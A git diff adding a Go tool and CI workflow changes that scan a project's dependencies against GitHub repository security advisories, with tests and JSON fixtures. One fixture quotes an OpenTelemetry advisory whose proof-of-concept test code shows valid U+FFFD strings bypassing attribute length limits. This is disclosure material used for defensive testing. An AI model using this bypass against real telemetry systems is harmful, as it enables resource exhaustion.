diff --git a/.github/workflows/bump-vuln-deps.yml b/.github/workflows/bump-vuln-deps.yml index bb8f6affcca..829cf668a3e 100644 --- a/.github/workflows/bump-vuln-deps.yml +++ b/.github/workflows/bump-vuln-deps.yml @@ -5,6 +5,11 @@ on: # Run daily at 05:30 UTC, just after the Go toolchain bumper. - cron: "30 5 * * *" workflow_dispatch: + inputs: + dry_run: + description: "Compute and show the bump without creating a pull request or failure issue" + type: boolean + default: false permissions: contents: write @@ -35,11 +40,16 @@ jobs: # vulnbump lives in the tools module, which is what this job compiles. go-version-file: tools/go.mod - - name: Build vulnbump - run: go -C tools/vulnbump build -o "$RUNNER_TEMP/vulnbump" . + - name: Build vulnbump and repoadvisory + run: | + go -C tools/vulnbump build -o "$RUNNER_TEMP/vulnbump" . + go -C tools/repoadvisory build -o "$RUNNER_TEMP/repoadvisory" . - name: Bump vulnerable dependencies id: bump + env: + # repoadvisory reads public repository advisories through the GitHub API. + GITHUB_TOKEN: ${{ github.token }} run: | set -euo pipefail @@ -57,8 +67,18 @@ jobs: scan="$(mktemp)" go tool -modfile=tools/go.mod govulncheck -scan module -format json > "$scan" + # Maintainers publish GitHub repository security advisories before + # they reach the Go vulnerability database, so govulncheck misses + # them. repoadvisory checks the modules linked into the CLI against + # those advisories and emits the ones with a patched version in the + # same JSON format. Each scan writes to its own file so a failure in + # either aborts the job. + advisories="$(mktemp)" + go list -deps -f '{{with .Module}}{{if .Version}}{{.Path}} {{.Version}}{{end}}{{end}}' . \ + | "$RUNNER_TEMP/repoadvisory" > "$advisories" + summary_file="$(mktemp)" - "$RUNNER_TEMP/vulnbump" . < "$scan" > "$summary_file" + cat "$scan" "$advisories" | "$RUNNER_TEMP/vulnbump" . > "$summary_file" if git diff --quiet; then echo "No vulnerable dependencies to bump." @@ -78,7 +98,7 @@ jobs: - name: Create pull request id: cpr - if: steps.bump.outputs.needed == 'true' + if: steps.bump.outputs.needed == 'true' && !inputs.dry_run uses: peter-evans/create-pull-request@5f6978faf089d4d20b00c7766989d076bb2fc7f1 # v8.1.1 with: # A fixed branch means a daily run updates the existing open PR in @@ -87,9 +107,9 @@ jobs: commit-message: "Bump dependencies with known vulnerabilities" title: "Bump dependencies with known vulnerabilities" body: | - Bump dependencies flagged by `govulncheck -scan module` to their fixed versions. + Bump dependencies flagged by `govulncheck -scan module` or by GitHub repository security advisories to their fixed versions. - Each CVE links to its Go advisory page. + Each advisory links to its advisory page. ${{ steps.bump.outputs.summary }} @@ -126,7 +146,7 @@ jobs: # A failed scheduled run is otherwise only visible in the Actions tab. - name: Report failure - if: failure() + if: failure() && !inputs.dry_run uses: ./.github/actions/report-failure with: label: bump-vuln-deps-failure diff --git a/tools/repoadvisory/.gitignore b/tools/repoadvisory/.gitignore new file mode 100644 index 00000000000..5ebad7fa1f4 --- /dev/null +++ b/tools/repoadvisory/.gitignore @@ -0,0 +1 @@ +/repoadvisory diff --git a/tools/repoadvisory/main.go b/tools/repoadvisory/main.go new file mode 100644 index 00000000000..f8cfe16ac97 --- /dev/null +++ b/tools/repoadvisory/main.go @@ -0,0 +1,384 @@ +// Command repoadvisory reports Go modules affected by GitHub repository security +// advisories. Maintainers publish these advisories on their repository, and they +// are often missing from the Go vulnerability database and GitHub's global +// advisory database, so govulncheck does not report them. +// +// It reads "path version" lines for the modules in a build from stdin and writes +// govulncheck-format JSON for every affected module to stdout, so that the +// output can be piped into vulnbump. Only advisories that name a patched version +// are written; the others are reported on stderr and skipped. Usage: +// +// go list -deps -f '{{with .Module}}{{if .Version}}{{.Path}} {{.Version}}{{end}}{{end}}' . | repoadvisory | vulnbump . +package main + +import ( + "bufio" + "encoding/json" + "fmt" + "io" + "net/http" + "os" + "regexp" + "strings" + "time" + + "golang.org/x/mod/semver" +) + +const ( + githubAPIURL = "https://api.github.com" + githubPrefix = "github.com/" + // goEcosystem is the package ecosystem GitHub uses for Go modules. + goEcosystem = "go" +) + +var ( + // goImportRE matches the go-import meta tag served by a vanity import path. + goImportRE = regexp.MustCompile(`= 1.35.0" into operator and version. + constraintRE = regexp.MustCompile(`^(>=|<=|>|<|=)?\s*(\S+)$`) + // nextLinkRE extracts the next page URL from a GitHub Link header. + nextLinkRE = regexp.MustCompile(`<([^>]+)>;\s*rel="next"`) +) + +// module is a Go module in the build and the version it is built at. +type module struct { + Path string + Version string +} + +// repoAdvisory mirrors the fields of a GitHub repository security advisory that +// this tool reads. See https://docs.github.com/en/rest/security-advisories/repository-advisories. +type repoAdvisory struct { + GHSAID string `json:"ghsa_id"` + CVEID string `json:"cve_id"` + HTMLURL string `json:"html_url"` + WithdrawnAt string `json:"withdrawn_at"` + Vulnerabilities []repoVulnerability `json:"vulnerabilities"` +} + +// repoVulnerability is one affected package within a repository advisory. +type repoVulnerability struct { + Package struct { + Ecosystem string `json:"ecosystem"` + Name string `json:"name"` + } `json:"package"` + VulnerableVersionRange string `json:"vulnerable_version_range"` + PatchedVersions string `json:"patched_versions"` +} + +// message is one line of govulncheck -format json output. Only the fields that +// vulnbump reads are set. +type message struct { + OSV *osvEntry `json:"osv,omitempty"` + Finding *finding `json:"finding,omitempty"` +} + +type osvEntry struct { + ID string `json:"id"` + Aliases []string `json:"aliases,omitempty"` + DatabaseSpecific struct { + URL string `json:"url"` + } `json:"database_specific"` +} + +type finding struct { + OSV string `json:"osv"` + FixedVersion string `json:"fixed_version,omitempty"` + Trace []frame `json:"trace"` +} + +type frame struct { + Module string `json:"module"` + Version string `json:"version"` +} + +// hit is an advisory that affects a module at the version being built. fixed is +// the patched version with a "v" prefix, or "" when the advisory names none. +type hit struct { + advisory repoAdvisory + fixed string +} + +// advisorySource resolves module paths to GitHub repositories and lists the +// published advisories of a repository. It is an interface so tests need no +// network. +type advisorySource interface { + repoFor(modulePath string) (string, error) + listAdvisories(repo string) ([]repoAdvisory, error) +} + +// liveSource queries the GitHub REST API and go-import meta tags. +type liveSource struct { + baseURL string + token string + http *http.Client +} + +// main is the entry point. It delegates to run so the flow stays testable. +func main() { + src := liveSource{ + baseURL: githubAPIURL, + token: os.Getenv("GITHUB_TOKEN"), //nolint:forbidigo // The tools module cannot import libs/env. + http: &http.Client{Timeout: 30 * time.Second}, + } + if err := run(os.Stdin, os.Stdout, os.Stderr, src); err != nil { + fmt.Fprintln(os.Stderr, "repoadvisory:", err) + os.Exit(1) + } +} + +// run writes a govulncheck-format message for each advisory with a patched +// version that affects a module in in. It reports to errOut, and skips, each +// affected module whose advisory names no patched version. +func run(in io.Reader, out, errOut io.Writer, src advisorySource) error { + mods, err := parseModules(in) + if err != nil { + return err + } + + enc := json.NewEncoder(out) + advisoriesByRepo := map[string][]repoAdvisory{} + written := map[string]bool{} + for _, m := range mods { + repo, err := src.repoFor(m.Path) + if err != nil { + return fmt.Errorf("resolve repository for %s: %w", m.Path, err) + } + if repo == "" { + continue + } + + advisories, ok := advisoriesByRepo[repo] + if !ok { + advisories, err = src.listAdvisories(repo) + if err != nil { + return err + } + advisoriesByRepo[repo] = advisories + } + + hits, err := affectedBy(m, advisories) + if err != nil { + return fmt.Errorf("check %s@%s: %w", m.Path, m.Version, err) + } + for _, h := range hits { + id := h.advisory.GHSAID + // Without a patched version there is nothing to bump to. + if h.fixed == "" { + fmt.Fprintf(errOut, "skipping %s for %s@%s: it names no patched version: %s\n", + id, m.Path, m.Version, h.advisory.HTMLURL) + continue + } + if !written[id] { + written[id] = true + if err := enc.Encode(message{OSV: newOSVEntry(h.advisory)}); err != nil { + return fmt.Errorf("encode %s: %w", id, err) + } + } + f := &finding{ + OSV: id, + FixedVersion: h.fixed, + Trace: []frame{{Module: m.Path, Version: m.Version}}, + } + if err := enc.Encode(message{Finding: f}); err != nil { + return fmt.Errorf("encode finding for %s: %w", m.Path, err) + } + } + } + return nil +} + +// parseModules reads "path version" lines and returns the distinct modules in +// input order. Lines without a version are skipped; go list emits them for +// packages without a module. +func parseModules(r io.Reader) ([]module, error) { + var mods []module + seen := map[string]bool{} + sc := bufio.NewScanner(r) + for sc.Scan() { + fields := strings.Fields(sc.Text()) + if len(fields) == 0 { + continue + } + if len(fields) != 2 { + return nil, fmt.Errorf("parse module line %q: want path and version", sc.Text()) + } + if seen[fields[0]] { + continue + } + seen[fields[0]] = true + mods = append(mods, module{Path: fields[0], Version: fields[1]}) + } + return mods, sc.Err() +} + +// affectedBy returns the advisories in advisories that cover the version of m. +// Withdrawn advisories are skipped. +func affectedBy(m module, advisories []repoAdvisory) ([]hit, error) { + var hits []hit + for _, adv := range advisories { + if adv.WithdrawnAt != "" { + continue + } + for _, v := range adv.Vulnerabilities { + if v.Package.Ecosystem != goEcosystem || v.Package.Name != m.Path { + continue + } + in, err := inRange(m.Version, v.VulnerableVersionRange) + if err != nil { + return nil, fmt.Errorf("advisory %s: %w", adv.GHSAID, err) + } + if !in { + continue + } + h := hit{advisory: adv} + if v.PatchedVersions != "" { + h.fixed, err = parseSemver(v.PatchedVersions) + if err != nil { + return nil, fmt.Errorf("advisory %s: %w", adv.GHSAID, err) + } + } + hits = append(hits, h) + break + } + } + return hits, nil +} + +// inRange reports whether version satisfies every comma-separated constraint in +// spec, a GitHub vulnerable_version_range such as ">= 1.35.0, < 1.47.0". +func inRange(version, spec string) (bool, error) { + for part := range strings.SplitSeq(spec, ",") { + m := constraintRE.FindStringSubmatch(strings.TrimSpace(part)) + if m == nil { + return false, fmt.Errorf("parse version constraint %q", part) + } + bound, err := parseSemver(m[2]) + if err != nil { + return false, err + } + c := semver.Compare(version, bound) + var ok bool + switch m[1] { + case ">=": + ok = c >= 0 + case "<=": + ok = c <= 0 + case ">": + ok = c > 0 + case "<": + ok = c < 0 + default: + ok = c == 0 + } + if !ok { + return false, nil + } + } + return true, nil +} + +// parseSemver returns v with a "v" prefix, as golang.org/x/mod/semver requires, +// and an error if it is not a valid version. GitHub omits the prefix in +// version ranges and patched_versions. +func parseSemver(v string) (string, error) { + if !strings.HasPrefix(v, "v") { + v = "v" + v + } + if !semver.IsValid(v) { + return "", fmt.Errorf("invalid version %q", v) + } + return v, nil +} + +// newOSVEntry returns the osv message for an advisory. vulnbump labels the +// advisory with its CVE and links to the URL. +func newOSVEntry(adv repoAdvisory) *osvEntry { + o := &osvEntry{ID: adv.GHSAID} + if adv.CVEID != "" { + o.Aliases = []string{adv.CVEID} + } + o.DatabaseSpecific.URL = adv.HTMLURL + return o +} + +// repoFor returns the owner/name GitHub repository that hosts modulePath, or "" +// when the module is not hosted on GitHub. +func (s liveSource) repoFor(modulePath string) (string, error) { + if strings.HasPrefix(modulePath, githubPrefix) { + return strings.Join(strings.Split(modulePath, "/")[1:3], "/"), nil + } + resp, err := s.http.Get("https://" + modulePath + "?go-get=1") + if err != nil { + return "", fmt.Errorf("fetch go-import meta for %s: %w", modulePath, err) + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return "", fmt.Errorf("fetch go-import meta for %s: %s", modulePath, resp.Status) + } + page, err := io.ReadAll(resp.Body) + if err != nil { + return "", fmt.Errorf("read go-import meta for %s: %w", modulePath, err) + } + return parseGoImport(string(page)), nil +} + +// parseGoImport returns the owner/name GitHub repository from the go-import meta +// tag in an HTML page, or "" when the tag does not point at github.com. +func parseGoImport(page string) string { + m := goImportRE.FindStringSubmatch(page) + if m == nil { + return "" + } + // The content is " ". + fields := strings.Fields(m[1]) + const httpsPrefix = "https://" + githubPrefix + if len(fields) != 3 || fields[1] != "git" || !strings.HasPrefix(fields[2], httpsPrefix) { + return "" + } + return strings.TrimSuffix(strings.TrimPrefix(fields[2], httpsPrefix), ".git") +} + +// listAdvisories returns the published security advisories of the owner/name +// repository, following pagination. +func (s liveSource) listAdvisories(repo string) ([]repoAdvisory, error) { + var all []repoAdvisory + next := s.baseURL + "/repos/" + repo + "/security-advisories?state=published&per_page=100" + for next != "" { + req, err := http.NewRequest(http.MethodGet, next, nil) + if err != nil { + return nil, fmt.Errorf("build request for %s: %w", repo, err) + } + req.Header.Set("Accept", "application/vnd.github+json") + if s.token != "" { + req.Header.Set("Authorization", "Bearer "+s.token) + } + resp, err := s.http.Do(req) + if err != nil { + return nil, fmt.Errorf("list security advisories for %s: %w", repo, err) + } + if resp.StatusCode != http.StatusOK { + resp.Body.Close() + return nil, fmt.Errorf("list security advisories for %s: %s", repo, resp.Status) + } + var page []repoAdvisory + err = json.NewDecoder(resp.Body).Decode(&page) + resp.Body.Close() + if err != nil { + return nil, fmt.Errorf("decode security advisories for %s: %w", repo, err) + } + all = append(all, page...) + next = nextLink(resp.Header.Get("Link")) + } + return all, nil +} + +// nextLink returns the rel="next" URL of a GitHub Link header, or "" if there is none. +func nextLink(header string) string { + m := nextLinkRE.FindStringSubmatch(header) + if m == nil { + return "" + } + return m[1] +} diff --git a/tools/repoadvisory/main_test.go b/tools/repoadvisory/main_test.go new file mode 100644 index 00000000000..3b1b0050b2e --- /dev/null +++ b/tools/repoadvisory/main_test.go @@ -0,0 +1,255 @@ +package main + +import ( + "bytes" + "encoding/json" + "fmt" + "net/http" + "net/http/httptest" + "os" + "strings" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +// Fixtures are the published repository advisories of jackc/pgx and +// open-telemetry/opentelemetry-go, as returned by the GitHub REST API. +const ( + pgxRepo = "jackc/pgx" + otelRepo = "open-telemetry/opentelemetry-go" +) + +// fakeSource resolves modules and lists advisories from fixed maps, so run can +// be tested without network access. +type fakeSource struct { + repos map[string]string + advisories map[string][]repoAdvisory +} + +func (f fakeSource) repoFor(modulePath string) (string, error) { + return f.repos[modulePath], nil +} + +func (f fakeSource) listAdvisories(repo string) ([]repoAdvisory, error) { + return f.advisories[repo], nil +} + +func loadAdvisories(t *testing.T, name string) []repoAdvisory { + t.Helper() + data, err := os.ReadFile("testdata/" + name) + require.NoError(t, err) + var advisories []repoAdvisory + require.NoError(t, json.Unmarshal(data, &advisories)) + return advisories +} + +func TestParseModules(t *testing.T) { + in := "github.com/jackc/pgx/v5 v5.11.0\n\n\ngithub.com/jackc/pgx/v5 v5.11.0\ngolang.org/x/net v0.53.0\n" + // The main module and standard library have no version; go list emits them + // as blank lines. + mods, err := parseModules(strings.NewReader(in)) + require.NoError(t, err) + assert.Equal(t, []module{ + {Path: "github.com/jackc/pgx/v5", Version: "v5.11.0"}, + {Path: "golang.org/x/net", Version: "v0.53.0"}, + }, mods) +} + +func TestParseModulesInvalid(t *testing.T) { + _, err := parseModules(strings.NewReader("github.com/jackc/pgx/v5\n")) + require.Error(t, err) +} + +func TestParseGoImport(t *testing.T) { + tests := []struct { + name string + page string + want string + }{ + { + name: "github", + page: ``, + want: "go-yaml/yaml", + }, + { + name: "googlesource", + page: ``, + want: "", + }, + { + name: "no tag", + page: ``, + want: "", + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + assert.Equal(t, tt.want, parseGoImport(tt.page)) + }) + } +} + +func TestInRange(t *testing.T) { + tests := []struct { + version string + spec string + want bool + }{ + {version: "v5.11.0", spec: ">= 5.9.0", want: true}, + {version: "v5.8.0", spec: ">= 5.9.0", want: false}, + {version: "v1.44.0", spec: ">= 1.35.0, < 1.47.0", want: true}, + {version: "v1.47.0", spec: ">= 1.35.0, < 1.47.0", want: false}, + {version: "v1.2.3", spec: "= 1.2.3", want: true}, + {version: "v4.18.3", spec: "<= 4.18.3", want: true}, + } + for _, tt := range tests { + t.Run(tt.version+" in "+tt.spec, func(t *testing.T) { + got, err := inRange(tt.version, tt.spec) + require.NoError(t, err) + assert.Equal(t, tt.want, got) + }) + } +} + +func TestInRangeInvalid(t *testing.T) { + _, err := inRange("v1.0.0", ">= banana") + require.Error(t, err) +} + +func TestParseSemver(t *testing.T) { + v, err := parseSemver("1.47.0") + require.NoError(t, err) + assert.Equal(t, "v1.47.0", v) + + v, err = parseSemver("v1.2.3") + require.NoError(t, err) + assert.Equal(t, "v1.2.3", v) + + _, err = parseSemver("banana") + require.Error(t, err) +} + +func TestAffectedByUnfixedAdvisories(t *testing.T) { + advisories := loadAdvisories(t, "pgx.json") + + // Both pgx advisories cover v5.11.0 and name no patched version. + hits, err := affectedBy(module{Path: "github.com/jackc/pgx/v5", Version: "v5.11.0"}, advisories) + require.NoError(t, err) + require.Len(t, hits, 2) + assert.Equal(t, "GHSA-j38q-h3ph-jjpq", hits[0].advisory.GHSAID) + assert.Equal(t, "GHSA-95fj-3fxw-g62g", hits[1].advisory.GHSAID) + assert.Empty(t, hits[0].fixed) + assert.Empty(t, hits[1].fixed) + + // v5.8.0 predates the second advisory's range. + hits, err = affectedBy(module{Path: "github.com/jackc/pgx/v5", Version: "v5.8.0"}, advisories) + require.NoError(t, err) + require.Len(t, hits, 1) + assert.Equal(t, "GHSA-j38q-h3ph-jjpq", hits[0].advisory.GHSAID) +} + +func TestAffectedByFixedAdvisory(t *testing.T) { + advisories := loadAdvisories(t, "otel.json") + + hits, err := affectedBy(module{Path: "go.opentelemetry.io/otel/trace", Version: "v1.44.0"}, advisories) + require.NoError(t, err) + require.Len(t, hits, 1) + assert.Equal(t, "GHSA-q7gw-24fr-5p69", hits[0].advisory.GHSAID) + assert.Equal(t, "v1.47.0", hits[0].fixed) + + hits, err = affectedBy(module{Path: "go.opentelemetry.io/otel/trace", Version: "v1.47.0"}, advisories) + require.NoError(t, err) + assert.Empty(t, hits) + + // The advisory lists several packages; only the matching one counts. + hits, err = affectedBy(module{Path: "go.opentelemetry.io/otel", Version: "v1.44.0"}, advisories) + require.NoError(t, err) + assert.Empty(t, hits) +} + +func TestAffectedBySkipsWithdrawn(t *testing.T) { + advisories := []repoAdvisory{ + { + GHSAID: "GHSA-withdrawn", + WithdrawnAt: "2026-11-01T00:00:00Z", + Vulnerabilities: []repoVulnerability{ + { + Package: struct { + Ecosystem string `json:"ecosystem"` + Name string `json:"name"` + }{Ecosystem: "go", Name: "example.com/mod"}, + VulnerableVersionRange: ">= 1.0.0", + }, + }, + }, + } + hits, err := affectedBy(module{Path: "example.com/mod", Version: "v1.0.0"}, advisories) + require.NoError(t, err) + assert.Empty(t, hits) +} + +func TestListAdvisoriesFollowsPagination(t *testing.T) { + var srv *httptest.Server + srv = httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if r.Header.Get("Authorization") != "Bearer test-token" { + http.Error(w, "unauthorized", http.StatusUnauthorized) + return + } + if r.URL.Query().Get("page") == "2" { + fmt.Fprint(w, `[{"ghsa_id": "GHSA-2222-2222-2222"}]`) + return + } + w.Header().Set("Link", fmt.Sprintf(`<%s/repos/o/r/security-advisories?state=published&per_page=100&page=2>; rel="next"`, srv.URL)) + fmt.Fprint(w, `[{"ghsa_id": "GHSA-1111-1111-1111"}]`) + })) + t.Cleanup(srv.Close) + + src := liveSource{baseURL: srv.URL, token: "test-token", http: srv.Client()} + advisories, err := src.listAdvisories("o/r") + require.NoError(t, err) + require.Len(t, advisories, 2) + assert.Equal(t, "GHSA-1111-1111-1111", advisories[0].GHSAID) + assert.Equal(t, "GHSA-2222-2222-2222", advisories[1].GHSAID) +} + +func TestListAdvisoriesHTTPError(t *testing.T) { + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + http.Error(w, "rate limited", http.StatusForbidden) + })) + t.Cleanup(srv.Close) + + src := liveSource{baseURL: srv.URL, http: srv.Client()} + _, err := src.listAdvisories("o/r") + require.Error(t, err) +} + +func TestRun(t *testing.T) { + src := fakeSource{ + repos: map[string]string{ + "github.com/jackc/pgx/v5": pgxRepo, + "go.opentelemetry.io/otel/trace": otelRepo, + "golang.org/x/net": "", + }, + advisories: map[string][]repoAdvisory{ + pgxRepo: loadAdvisories(t, "pgx.json"), + otelRepo: loadAdvisories(t, "otel.json"), + }, + } + in := strings.NewReader("github.com/jackc/pgx/v5 v5.11.0\ngo.opentelemetry.io/otel/trace v1.44.0\ngolang.org/x/net v0.53.0\n") + + var out, errOut bytes.Buffer + require.NoError(t, run(in, &out, &errOut, src)) + + // Only the otel advisory names a patched version, so it is the only one + // written. Modules that are not on GitHub are skipped. + assert.Equal(t, `{"osv":{"id":"GHSA-q7gw-24fr-5p69","database_specific":{"url":"https://github.com/open-telemetry/opentelemetry-go/security/advisories/GHSA-q7gw-24fr-5p69"}}} +{"finding":{"osv":"GHSA-q7gw-24fr-5p69","fixed_version":"v1.47.0","trace":[{"module":"go.opentelemetry.io/otel/trace","version":"v1.44.0"}]}} +`, out.String()) + + // The pgx advisories name no patched version; they are reported on stderr. + assert.Equal(t, `skipping GHSA-j38q-h3ph-jjpq for github.com/jackc/pgx/v5@v5.11.0: it names no patched version: https://github.com/jackc/pgx/security/advisories/GHSA-j38q-h3ph-jjpq +skipping GHSA-95fj-3fxw-g62g for github.com/jackc/pgx/v5@v5.11.0: it names no patched version: https://github.com/jackc/pgx/security/advisories/GHSA-95fj-3fxw-g62g +`, errOut.String()) +} diff --git a/tools/repoadvisory/testdata/otel.json b/tools/repoadvisory/testdata/otel.json new file mode 100644 index 00000000000..feeba8d9c2c --- /dev/null +++ b/tools/repoadvisory/testdata/otel.json @@ -0,0 +1,169 @@ +[ + { + "ghsa_id": "GHSA-q7gw-24fr-5p69", + "cve_id": null, + "url": "https://api.github.com/repos/open-telemetry/opentelemetry-go/security-advisories/GHSA-q7gw-24fr-5p69", + "html_url": "https://github.com/open-telemetry/opentelemetry-go/security/advisories/GHSA-q7gw-24fr-5p69", + "summary": "AttributeValueLengthLimit is bypassed by string values composed of valid U+FFFD runes", + "description": "## Summary\r\n\r\nThe `AttributeValueLengthLimit` span/log-record limit can be bypassed entirely with attribute values that consist of valid U+FFFD (REPLACEMENT CHARACTER) runes. The counting-based truncation introduced by the fix for GHSA-p9f8-wvj8-2fg8 (commit `e016a78c9`, first released in v1.33.0) has an \"optimistic\" fast path that skips every U+FFFD without counting it and without falling back to the correct slow path. A value of 1000 U+FFFD runes (3000 bytes) is stored verbatim even with a limit of 5 characters (15 bytes). The same defect affects the attribute truncation paths in `go.opentelemetry.io/otel/sdk/trace` (`sdk/internal/attrnorm`), `go.opentelemetry.io/otel/sdk/log` (`sdk/log/internal/attrnorm`), and the auto-instrumentation tracer in `go.opentelemetry.io/otel/trace` (`trace/auto.go`, introduced in `v1.35.0`).\r\n\r\nThis is an incomplete-fix issue: it is a distinct defect in the replacement code that GHSA-p9f8-wvj8-2fg8 introduced, affecting exactly the versions that advisory says are fixed (>= v1.33.0). The original advisory covers only the pre-v1.33.0 code.\r\n\r\n## Details\r\n\r\nThe shared truncation helper is generated from `internal/shared/attrnorm/truncate.go.tmpl`. In the v1.46.0 release, the generated copies are `sdk/internal/attrnorm/truncate.go` and `sdk/log/internal/attrnorm/truncate.go` (identical logic, different package names). The optimistic path (v1.46.0, `sdk/internal/attrnorm/truncate.go:175-199`) is:\r\n\r\n```go\r\n// Optimistically, assume all valid UTF-8.\r\nvar b strings.Builder\r\ncount := 0\r\nfor i, c := range s {\r\n if c != utf8.RuneError {\r\n count++\r\n if count > limit {\r\n return s[:i]\r\n }\r\n continue\r\n }\r\n _, size := utf8.DecodeRuneInString(s[i:])\r\n if size == 1 {\r\n // invalid encoding: fall through to the correct slow path\r\n ...\r\n break\r\n }\r\n}\r\n```\r\n\r\n`range` over a string yields `utf8.RuneError` both for invalid bytes (size 1) and for a legitimately encoded U+FFFD (size 3). Only the size-1 case enters the slow path. A valid U+FFFD rune is therefore neither counted nor truncating: the loop slides over it. Consequences:\r\n\r\n1. A value made only of valid U+FFFD runes never increments `count`, so no truncation ever triggers and the value is returned unchanged, whatever its length.\r\n2. In a mixed string, every U+FFFD contributes 3 bytes that are not counted, and the final `return s[:i]` keeps all previously skipped U+FFFD runes, so the retained size grows linearly with the number of U+FFFD runes and is not bounded by `limit`.\r\n\r\nThe OpenTelemetry specification states that truncation applies \"counting any character in it as 1\". A valid U+FFFD is one character and must count as 1; here it counts as 0. The regression test suite of the repository contains no U+FFFD case, which is why this went unnoticed.\r\n\r\nCall chains (v1.46.0):\r\n\r\n- trace: `span.SetAttributes` -> `sdk/trace/span.go` (`normAttr`) -> `attrnorm.Truncate` -> `sdk/internal/attrnorm/truncate.go` (`truncate`)\r\n- log: `Record.AddAttributes` / `SetAttributes` -> `sdk/log/record.go` (`attrnorm.TruncateValue`) -> `sdk/log/internal/attrnorm/truncate.go` (`truncate`)\r\n\r\nDeduplication: GHSA-p9f8-wvj8-2fg8 describes the pre-v1.33.0 helper (`safeTruncateValidUTF8`), which gave up truncating entirely for strings containing RuneError. The rewrite in `e016a78c9` replaced that code; this report concerns the rewritten code, is present only in versions that the advisory lists as fixed, and no public issue or advisory describes it.\r\n\r\n## PoC\r\n\r\nMinimal reproduction with the published release (no repository checkout needed). Go 1.25+ is required (the release declares `go 1.25.0`; any recent toolchain auto-selects one).\r\n\r\nCreate a directory with these files.\r\n\r\n`go.mod` (then run `go mod tidy` once to fill `go.sum`):\r\n\r\n```\r\nmodule otelpoc\r\n\r\ngo 1.25.0\r\n\r\nrequire (\r\n\tgo.opentelemetry.io/otel v1.46.0\r\n\tgo.opentelemetry.io/otel/log v0.22.0\r\n\tgo.opentelemetry.io/otel/sdk v1.46.0\r\n\tgo.opentelemetry.io/otel/sdk/log v0.22.0\r\n\tgo.opentelemetry.io/otel/trace v1.46.0\r\n)\r\n```\r\n\r\n`otelgo_truncate_test.go`:\r\n\r\n```go\r\npackage otelpoc\r\n\r\nimport (\r\n\t\"context\"\r\n\t\"strings\"\r\n\t\"testing\"\r\n\t\"unicode/utf8\"\r\n\r\n\t\"go.opentelemetry.io/otel/attribute\"\r\n\tsdktrace \"go.opentelemetry.io/otel/sdk/trace\"\r\n\t\"go.opentelemetry.io/otel/sdk/trace/tracetest\"\r\n\t\"go.opentelemetry.io/otel/trace\"\r\n)\r\n\r\n// limitsWithLen returns span limits with AttributeValueLengthLimit=limit and\r\n// everything else unlimited, isolating the length-limit enforcement under test.\r\nfunc limitsWithLen(limit int) sdktrace.SpanLimits {\r\n\tlim := sdktrace.NewSpanLimits()\r\n\tlim.AttributeValueLengthLimit = limit\r\n\tlim.AttributeCountLimit = -1\r\n\tlim.AttributePerEventCountLimit = -1\r\n\tlim.AttributePerLinkCountLimit = -1\r\n\tlim.EventCountLimit = -1\r\n\tlim.LinkCountLimit = -1\r\n\treturn lim\r\n}\r\n\r\nfunc captureOneSpan(t *testing.T, limit int, attrs ...attribute.KeyValue) []attribute.KeyValue {\r\n\tt.Helper()\r\n\tsr := tracetest.NewSpanRecorder()\r\n\ttp := sdktrace.NewTracerProvider(\r\n\t\tsdktrace.WithSpanProcessor(sr),\r\n\t\tsdktrace.WithSpanLimits(limitsWithLen(limit)),\r\n\t)\r\n\tdefer func() { _ = tp.Shutdown(context.Background()) }()\r\n\r\n\ttr := tp.Tracer(\"poc\")\r\n\t_, span := tr.Start(context.Background(), \"op\")\r\n\tspan.SetAttributes(attrs...)\r\n\tspan.End()\r\n\r\n\tended := sr.Ended()\r\n\tif len(ended) != 1 {\r\n\t\tt.Fatalf(\"expected 1 ended span, got %d\", len(ended))\r\n\t}\r\n\treturn ended[0].Attributes()\r\n}\r\n\r\n// TestOT001_FFFDOnlyStringBypassesTraceLengthLimit demonstrates that a string\r\n// attribute composed of valid U+FFFD runes is stored completely untruncated\r\n// although AttributeValueLengthLimit=5.\r\nfunc TestOT001_FFFDOnlyStringBypassesTraceLengthLimit(t *testing.T) {\r\n\tconst limit = 5\r\n\tval := strings.Repeat(\"\\uFFFD\", 1000) // 1000 chars, 3000 bytes\r\n\r\n\tgot := captureOneSpan(t, limit, attribute.String(\"k\", val))\r\n\tif len(got) != 1 {\r\n\t\tt.Fatalf(\"expected 1 attribute, got %d\", len(got))\r\n\t}\r\n\tstored := got[0].Value.AsString()\r\n\tt.Logf(\"input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d\",\r\n\t\tutf8.RuneCountInString(val), len(val),\r\n\t\tutf8.RuneCountInString(stored), len(stored), limit)\r\n\t// Per OTel spec (\"counting any character in it as 1\") the stored value\r\n\t// must be at most `limit` characters (<= 15 bytes for U+FFFD).\r\n\tif maxBytes := 3 * limit; len(stored) > maxBytes {\r\n\t\tt.Fatalf(\"BYPASS: AttributeValueLengthLimit=%d but %d bytes stored (expected <=%d)\",\r\n\t\t\tlimit, len(stored), maxBytes)\r\n\t}\r\n}\r\n\r\n// TestOT001_FFFDMixedStringOverRetains demonstrates that valid U+FFFD runes\r\n// are not counted in the optimistic truncation path: every U+FFFD adds 3\r\n// uncounted bytes to the retained value.\r\nfunc TestOT001_FFFDMixedStringOverRetains(t *testing.T) {\r\n\tconst limit = 5\r\n\tval := strings.Repeat(\"\\uFFFD\", 100) + strings.Repeat(\"A\", 6) // 106 chars, 306 bytes\r\n\r\n\tgot := captureOneSpan(t, limit, attribute.String(\"k\", val))\r\n\tstored := got[0].Value.AsString()\r\n\tt.Logf(\"input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d\",\r\n\t\tutf8.RuneCountInString(val), len(val),\r\n\t\tutf8.RuneCountInString(stored), len(stored), limit)\r\n\tif chars := utf8.RuneCountInString(stored); chars > limit {\r\n\t\tt.Fatalf(\"BYPASS: AttributeValueLengthLimit=%d but %d chars / %d bytes stored\",\r\n\t\t\tlimit, chars, len(stored))\r\n\t}\r\n}\r\n\r\n// TestOT001_ASCIIControl is the control case: plain ASCII over-limit values\r\n// ARE truncated, proving the length limit is active in the same setup.\r\nfunc TestOT001_ASCIIControl(t *testing.T) {\r\n\tconst limit = 5\r\n\tval := strings.Repeat(\"B\", 20)\r\n\r\n\tgot := captureOneSpan(t, limit, attribute.String(\"k\", val))\r\n\tstored := got[0].Value.AsString()\r\n\tt.Logf(\"input: %d chars / %d bytes; stored: %d chars / %d bytes; 